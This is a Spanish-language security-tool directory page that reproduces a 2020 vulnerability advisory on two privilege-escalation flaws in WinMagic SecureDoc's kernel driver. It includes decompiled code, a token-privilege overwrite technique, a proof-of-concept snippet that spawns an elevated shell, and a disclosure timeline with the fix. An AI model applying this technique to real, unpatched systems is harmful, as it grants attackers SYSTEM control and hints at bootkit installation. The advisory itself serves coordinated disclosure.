Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
winmagic_sd — Informe técnico sobre y Exploit de PoC para CVE-2020-11519 y CVE-2020-11520 | Kitploit
Herramientas/GitHubGitHub/patois/winmagic_sd
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónIngeniería InversaPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubpatois/winmagic_sd

winmagic_sd

Informe técnico sobre y Exploit de PoC para CVE-2020-11519 y CVE-2020-11520

Ver Repositorio
123hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Informe técnico sobre CVE-2020-11519 y CVE-2020-11520

Fecha: Junio de 2020

Autor: Dennis Elser (código: github)

Tabla de Contenidos

  • Introducción
  • Enfoque y Descripción Técnica
    • CVE-2020-11519
    • CVE-2020-11520
  • Explotación de Prueba de Concepto
  • Cronología de Divulgación
  • Solución
  • Sumas de Verificación
  • Referencias

Introducción

En referencia a su representación web, Winmagic SecureDoc "permite a las empresas gestionar la seguridad de su entorno de TI de manera eficiente aprovechando características que incluyen: Cifrado Completo de Disco (FDE), Autenticación Multifactor, Cifrado de Contenedores de Medios Extraíbles (RMCE) y Cifrado de Archivos y Carpetas (FFE). Estas características ayudan a las empresas a aumentar la seguridad, mitigar el riesgo empresarial y cumplir con los requisitos gubernamentales y regulatorios para el cifrado de discos duros."

El producto Winmagic SecureDoc, que está disponible en versiones independientes y empresariales, se ve afectado por dos vulnerabilidades de escalada de privilegios locales (CVE-2020-11519 y CVE-2020-11520) en las versiones 8.3 y 8.5. Después de que las vulnerabilidades fueran reportadas a Winmagic a finales de marzo, el proveedor lanzó un parche (versión 8.5SR2) a mediados de junio de 2020. Sin embargo, se encontró que este parche abordaba las vulnerabilidades de manera insuficiente, lo que también hizo que la versión 8.5SR2 fuera vulnerable a las fallas reportadas. Aunque los detalles técnicos sobre las vulnerabilidades se habían retenido por esta razón, las fallas deben considerarse públicas desde entonces. Según el proveedor, otro parche estaba en proceso, aproximadamente 106 días después del informe inicial de vulnerabilidad a Winmagic. El 15 de julio, 111 días después del informe inicial de vulnerabilidad al proveedor, Winmagic lanzó SecureDoc v8.5 SR2 HF1 a los clientes, que según informes corrige CVE-2020-11519 y CVE-2020-11520. Las versiones de SecureDoc anteriores a la 8.3 no han sido probadas pero se puede asumir que también están afectadas, según el código del componente afectado.

La explotación exitosa de cualquiera de las vulnerabilidades conducirá a una escalada de privilegios a SYSTEM para atacantes autenticados localmente.

Enfoque y Descripción Técnica

Ambas vulnerabilidades afectan al componente "SDDisk2k.sys", un controlador de kernel que viene con el producto Winmagic SecureDoc. Las fallas de seguridad se identificaron mediante análisis estático manual con la ayuda del desensamblador y descompilador Hex-Rays IDA Pro. En retrospectiva, las debilidades podrían haberse descubierto con mucho menos esfuerzo si se hubieran aplicado enfoques de prueba dinámicos como el fuzzing. Esto se debe a que se puede interactuar con el controlador desde aplicaciones de modo usuario limitadas y porque asume que su entrada está bien formada por defecto.

CVE-2020-11519

Debido a la creación insegura por parte del controlador "SDDisk2k.sys" de un objeto de dispositivo "SecureDocDevice" y la falta de código que establezca un descriptor de seguridad apropiado, incluso cuentas de usuario limitadas tienen la capacidad de adquirir un identificador al dispositivo mediante la función API CreateFile(). Al otorgar el controlador a una aplicación de modo usuario un identificador a su objeto de dispositivo, abre así una ruta directa a su superficie de ataque en el espacio del kernel.``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }

root@kitploit:~
Al haber realizado ingeniería inversa a varios de los controladores de servicio de [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) del driver "SDDisk2k.sys", se descubrió que uno de ellos expone funcionalidad crítica al modo usuario, ya que permite operaciones de lectura y escritura de sectores de disco en bruto de una unidad arbitraria, por diseño. A esto se suma que, al interactuar con este mismo código, se observó que el driver ignora cualquier bloqueo exclusivo que pudiera haberse establecido previamente en una unidad. Como consecuencia, se hacen posibles operaciones concurrentes de lectura/escritura, lo que facilita condiciones de carrera y riesgo de pérdida de datos.

A continuación se muestra el controlador de servicio IOCTL descompilado del driver, responsable de manejar las solicitudes de lectura de sectores de disco en bruto. Llama a una función sub_29CD4() con un argumento "controlled_buf", que es un puntero a un buffer cuyo contenido puede ser elegido arbitrariamente por cualquier aplicación en modo usuario que lo invoque:``` c
if ( ioctlcode == 0x8D1F2824 )   // <--- I/O control code for raw disk reading functionality
{
  controlled_buf = (unsigned __int8 *)controlled_addr;
  mode = 0;
  temp_result = sub_29CD4((char *)controlled_buf, v3, mode);   // <--- call to raw disk read function

En realidad, este búfer controlado por el atacante es una estructura cuyos campos "offset", "length" y "ptr_buf" son argumentos de función completamente sin comprobar que se pasan a una llamada a IoBuildSynchronousFsdRequest(). La última función prepara un paquete de solicitud de E/S IRP_MJ_READ (IRP) que envía al controlador del sistema de archivos subyacente mediante una llamada a IofCallDriver():``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode

// advance pointer p = controlled_buf + 1;

// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);

root@kitploit:~
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
  || (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
  // extract further fields from structure
  offset = *(_QWORD *)(p + 0x4E);                    // <--- where to start reading from
  length = *(_DWORD *)(p + 0x56);                    // <--- number of bytes to read
  ptr_buf = *(void **)(p + 0x5A);                    // <--- ptr to destination buffer
  devobj = DeviceObject;
  StartingOffset.QuadPart = offset << 9;
  KeInitializeEvent(&Event, NotificationEvent, 0);
  
  // build request
  v17 = IoBuildSynchronousFsdRequest(
          (unsigned int)(mode != 0) + IRP_MJ_READ,   // <--- issue read request
          devobj,
          ptr_buf,
          length << 9,
          &StartingOffset,
          &Event,
          &IoStatusBlock);
  v18 = v17;
  if ( v17 )
  {
    v19 = v17->Tail.Overlay.CurrentStackLocation;
    if ( mode )
      v19[0xFFFFFFFF].Flags |= 0x10u;
    ObfReferenceObject(devobj);

    // send request to respective device object (issue read request)
    v12 = IofCallDriver(devobj, v18);

//[...snip...] }

root@kitploit:~
Así como la lectura de sectores de disco en bruto, la escritura de sectores de disco desde el modo de usuario es posible llamando al manejador de IOCTL 0x8D1F2820, que procesa la misma estructura de datos y está implementado de manera similar. Dada la compatibilidad con el protocolo de este controlador, no hay nada que impida que aplicaciones arbitrarias en modo de usuario comprometan por completo el Sistema Operativo. A menos que esté protegido por un mecanismo de arranque seguro, esto incluye incluso la instalación de software que puede ejecutarse tan temprano como durante el proceso de arranque del sistema (ransomware, bootkits, implantes personalizados...).

### CVE-2020-11520
Un examen más profundo de los manejadores de servicio del controlador "SDDisk2k.sys" reveló que las direcciones de memoria de las aplicaciones en modo de usuario se procesan sin validación previa. En algunos casos, la memoria a la que acceden estos punteros es escrita ciegamente por el controlador, lo que puede ser aprovechado por atacantes para crear primitivas de escritura en kernel. Si bien todas las primitivas de escritura permiten el control directo de **dónde** escribir datos, desafortunadamente no se encontró ninguna que permitiera el control directo de **qué** datos escribir. Con la excepción de [CVE-2020-11519](#cve-2020-11519), cuya explotación en este contexto requeriría un desvío adicional a través de operaciones de lectura/escritura de disco, lo cual considero un enfoque sucio y por lo tanto quería evitar. Sin embargo, se identificó un manejador particular que, si bien no permitía controlar los datos en sí, resultó ser lo suficientemente bueno para ser reutilizado por otros medios.

El código descompilado a continuación muestra el manejador de servicio del controlador para el código IOCTL 0x8d1f282c. Toma un número entero de 16 bits "count" de un búfer controlado por el usuario, luego se asegura de que no exceda un cierto límite. Finalmente, se obtiene un puntero "dst" del mismo búfer de entrada controlado, pero nunca se verifica su validez antes de pasarlo como argumento a una llamada posterior a memmove(). Para mi decepción inicial, el búfer "src" que se pasa como argumento a memmove() no está controlado, sino que apunta a una cadena hardcodeada ("FRNSecureDoc v4.1\0"), lo que limita su utilidad para la explotación hasta cierto punto. Obviamente, este manejador de servicio escribe un identificador de versión en una dirección especificable por el usuario, lo que también podría ser aprovechado para identificar versiones vulnerables de Winmagic SecurDoc.``` c
// handler for I/O control code 0x8d1f282c

// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);

// if count is zero, return error
if ( !count )
{
  *((_WORD *)controlled_buf + 5) = 0x13;
  goto leave_dispatcher;
}

// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
  count = 0x11;

// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4;   // <--- 'FRNSecureDoc v4.1',0

// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;

Sin embargo, que esta dirección "dst" completamente controlada apunte a una ubicación adecuada en el espacio del kernel reutiliza este manejador IOCTL y lo convierte en una primitiva de escritura en el kernel. Con referencia a [1] y [2], llamar a este manejador de servicio con "dst" apuntando a la dirección del kernel del token de un proceso, o más precisamente, a su miembro "Privileges" en el desplazamiento 0x40, podría conducir a privilegios elevados :)``` 0: kd> dt nt!_token ffffe40955f766b0 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES [...snip...]

0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000

root@kitploit:~
La estructura `SEP_TOKEN_PRIVILEGES` es un conjunto de máscaras de bits donde cada bit individual representa una bandera de privilegio. Como consecuencia lógica, pedir amablemente al driver de SecureDoc que almacene partes de su cadena de versión "FRNSecureDoc v4.1\0" en la estructura `SEP_TOKEN_PRIVILEGES` de un token de proceso debería invertir algunos bits y, con suerte, habilitar privilegios útiles, al menos hipotéticamente. Resulta que, al hacer que el driver almacene los dos primeros caracteres de su cadena de versión en los offsets 1 y 2 del campo "Present" de la estructura `SEP_TOKEN_PRIVILEGES`, se establecen varios privilegios de token interesantes. El carácter '**F**' tomado de "**F**RNSecureDoc v4.1\0" equivale a 01000110 y, por lo tanto, establece el bit 9 (SeTakeOwnershipPrivilege), el bit 10 (SeLoadDriverPrivilege) y el bit 14 (SeIncreaseBasePriorityPrivilege) del campo "Present". El carácter '**R**' equivale a 01010010, estableciendo el bit 17 (SeBackupPrivilege), el bit 20 (SeDebugPrivilege) y el bit 22 (SeSystemEnvironmentPrivilege):

| Bit No ("Present") | Character | Byte         | Privilege |
| :--------------: | :-------: | ------------ | --------- |
| 8                | 'F'       | 0100011**0** | SeSecurityPrivilege |
| 9                | 'F'       | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10               | 'F'       | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11               | 'F'       | 0100**0**110 | SeSystemProfilePrivilege |
| 12               | 'F'       | 010**0**0110 | SeSystemtimePrivilege |
| 13               | 'F'       | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14               | 'F'       | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15               | 'F'       | **0**1000110 | SeCreatePagefilePrivilege |
| 16               | 'R'       | 0101001**0** | SeCreatePermanentPrivilege |
| 17               | 'R'       | 010100**1**0 | **SeBackupPrivilege** |
| 18               | 'R'       | 01010**0**10 | SeRestorePrivilege |
| 19               | 'R'       | 0101**0**010 | SeShutdownPrivilege |
| 20               | 'R'       | 010**1**0010 | **SeDebugPrivilege** |
| 21               | 'R'       | 01**0**10010 | SeAuditPrivilege |
| 22               | 'R'       | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23               | 'R'       | **0**1010010 | SeChangeNotifyPrivilege |

## Exploit de Prueba de Concepto
Se ha desarrollado un [exploit de prueba de concepto](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) en Python y se ha depurado con la ayuda del [depurador de kernel WinDbg de Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk) conectado a una máquina virtual Windows 10 x64.

Este exploit PoC obtiene la dirección del kernel del token de seguridad del proceso actual y, entre otros, habilita el privilegio SeDebugPrivilege explotando las vulnerabilidades descritas. Luego procede a generar un shell de comandos que hereda los privilegios recién escalados del token.

Tener la bandera SeDebugPrivilege activa hará posible que se inyecte y ejecute shellcode en el contexto de un proceso SYSTEM - esto lo dejo a tu criterio ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
    print("[!] Could not get address of token")
    sdi.close()
    return

print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()

os.system("cmd.exe")

Para evitar poner en riesgo los datos de alguien, la versión pública de este PoC de exploit no ha incluido ningún código activo para leer/escribir en sectores de disco en bruto usando CVE-2020-11519. Aún así, puede convertirse fácilmente en un instalador para cualquier código que desees que ejecute tu sector de arranque, si se añaden llamadas a las funciones disk_read_raw() y disk_write_raw(). ¿Qué tal instalar y jugar una partida de tetros como alternativa a la instalación de implantes? ;)

Lo siguiente muestra los privilegios del token del proceso actual antes y después de ejecutar el exploit de Prueba de Concepto, respectivamente.``` C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

C:\Users\re>python3 sd_poc.py

EoP PoC for WinMagic SecureDoc 8.5

[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

root@kitploit:~
El código de exploit PoC se puede encontrar [aquí](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py). Está dirigido a v8.5 de Winmagic SecureDoc x64, pero podría funcionar en versiones anteriores (no probado).

En caso de que hayas llegado hasta aquí pero todavía estés muy aburrido, siéntete libre de marcar el código IOCTL 0x8D1F2848 ;)``` c
case 0x8D1F2848:
  DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
  if ( *(_WORD *)controlled_buf == 0x55AA
    && *(_QWORD *)(controlled_buf + 2)
    && *((_WORD *)controlled_buf + 5) == 4 )
  {
    StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
    if ( !StartContext )
    {
      KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
      KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
    }
    DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
    *StartContext = **(_DWORD **)(controlled_buf + 2);
    if ( PsCreateSystemThread(
            &ThreadHandle,
            0x1FFFFFu,
            0i64,
            0i64,
            0i64,
            (PKSTART_ROUTINE)sub_23948,
            StartContext) < 0 )
      ExFreePoolWithTag(StartContext, 0);
    else
      ZwClose(ThreadHandle);
  }

Cronograma de divulgación```

Date | Comment

2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)

root@kitploit:~
## Solución
Actualizar a Winmagic SecureDoc v8.5 SR2 HF1.

## Sumas de verificación
| Nombre de archivo       | Versión | Hash (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |

## Referencias
1. [Abusando de privilegios de token para LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Explotando CVE-2014-4113 en Windows 8.1](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [Explotación fácil del kernel de Windows local](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [Tengo 99 problemas pero un puntero del kernel no es uno](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [Explotando manejadores de procesos e hilos filtrados](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [Discusión en Sourceforge sobre llamar a NtQuerySystemInformation usando ctypes](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [Notas de lanzamiento de SecureDoc v8.5SR2](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)
Descargar herramienta